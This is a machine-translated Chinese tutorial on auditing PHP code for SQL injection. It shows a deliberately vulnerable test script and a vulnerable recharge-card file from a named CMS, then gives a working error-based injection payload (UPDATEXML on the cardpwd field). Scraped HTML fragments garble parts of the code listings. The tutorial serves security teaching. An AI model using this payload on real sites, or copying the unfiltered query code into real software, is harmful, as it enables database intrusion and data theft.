PHP code Audit SQL Injection Chapter

What is SQL injection

SQL injection attack (SQL injection), short injection attack, is the most common security vulnerability in Web development. It can be used to obtain sensitive information from the database, or to take advantage of the characteristics of the database to perform a series of malicious operations such as adding users, exporting files, or even obtaining the highest privileges of the database or system.

The cause of SQL injection is because the program does not effectively filter the user's input, allowing the attacker to successfully submit malicious SQL query code to the server, the program after receiving the error of the attacker's input as part of the query statement execution, resulting in the original query logic is changed, Additional malicious code that was carefully crafted by the attacker was executed.

SQL injection Instance

Many web developers do not realize that SQL queries can be tampered with, thereby treating SQL queries as trusted commands. As everyone knows, SQL query can bypass access control, thereby bypassing authentication and permission checking. Furthermore, it is possible to run the host system-level commands through SQL queries.

Here are some real examples of how SQL injection can be explained in detail.

650) this.width=650; "src=" http://s3.51cto.com/wyfs02/M01/88/25/wKiom1fqW6CzzlmqAAArvxgj9ZA980.png "border=" 0 " Style= "line-height:1.6;" >

The test code is as follows:

  
 

   
  

  
<?php
   
  

  
$uid=$_GET[‘id‘]; 
   
  

  
$sql="SELECT * FROM userinfo where id=$uid";
   
  

  
$conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);
   
  

  
mysql_select_db("sql",$conn);
   
  

  
$result=mysql_query($sql,$conn);
   
  

  
print_r(‘当前SQL语句: ‘.$sql.‘
 结果: ‘);
   
  

  
print_r(mysql_fetch_row($result));
   
  

  
?>
  
 

650) this.width=650; "src=" http://s3.51cto.com/wyfs02/M02/88/25/wKiom1fqW6DBwDGsAABukPje0gY258.png "border=" 0 " Class= "" > First we look at the code:

 
   
  

  
    
   
$uid=$_GET[‘id‘]; //获取GET值
 
   
  

 
   
  
 
    
   
< Span class= "PLN" > $sql =   "SELECT * from UserInfo where id= $uid"     //Execute SQL statement   
 
   
  
 

 
   
  
 
    
   
< Span class= "PLN" > $conn =  mysql_connect   (    ' root '    ' root '    
 
    
   
mysql_select_db   ( span class= "str" > "SQL"   $conn  );    //database with configuration   
 
   
  
 

 
   
  
 
    
   
< Span class= "PLN" > $result =  mysql_query   (  $sql    $conn     //query SQL statement   
 
   
  
 

 
   
  

  
    
   
print_r(‘当前SQL语句: ‘.$sql.‘
 结果: ‘);
  
    
   
print_r(mysql_fetch_row($result)); //进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。
 
   
  

650) this.width=650; "src=" http://s3.51cto.com/wyfs02/M01/88/22/wKioL1fqW6CDGhQCAAA1a1HL22s243.png "border=" 0 " > can see that the original SQL statement has been injected into the changes, using the union query to the current user.
Another multi-meter CMS latest version 1.3 injection instance.Vulnerability File member/mypay.php (14-40 lines)

   
 

    
  

  
if(empty($_SESSION[‘duomi_user_id‘])){
    
  

  
 showMsg("请先登录","login.php");
    
  

  
 exit();
    
  

  
}
    
  

  
elseif($dm==‘mypay‘){
    
  

  
 $key=$_POST[‘cardkey‘];
    
  

  
 if($key==""){showMsg("请输入充值卡号","-1");exit;}
    
  

  
 $pwd=$_POST[‘cardpwd‘];
    
  

  
 if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}
    
  

  
 $sqlt="SELECT * FROM duomi_card where ckey=‘$key‘";
    
  

  
 $sqlt="SELECT * FROM duomi_card where cpwd=‘$pwd‘";
    
  

  
 $row1 = $dsql->GetOne($sqlt);
    
  

  
 if(!is_array($row1) OR $row1[‘status‘]<>0){
    
  

  
 showMsg("充值卡信息有误","-1");exit;
    
  

  
 }else{
    
  

  
 $uname=$_SESSION[‘duomi_user_name‘];
    
  

  
 $points=$row1[‘climit‘];
    
  

  
 $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE ckey=‘$key‘");
    
  

  
 $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE cpwd=‘$pwd‘");
    
  

  
 $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username=‘$uname‘");
    
  

  
 showMsg("恭喜！充值成功！","mypay.php");exit;
    
  

  
 }
    
  

  
}
    
  

  
else
    
  

  
{
   
 

The "cardpwd" variable here is not filtered and is injected into the database by post submission. The construction POC is as follows (note that a registered user is required here and the login details are listed in line 1-17):

  
    
 

   
     
  
http://localhost/member/mypay.php?dm=mypay
   
     
  
POST：cardpwd=-1‘ AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and ‘1‘=‘1
  
    
 

650) this.width=650; "src=" http://s3.51cto.com/wyfs02/M00/88/25/wKiom1fqW6SyRqSVAAaujWsex0Y295.png "border=" 0 " >


From for notes (Wiz)

PHP code Audit SQL Injection Chapter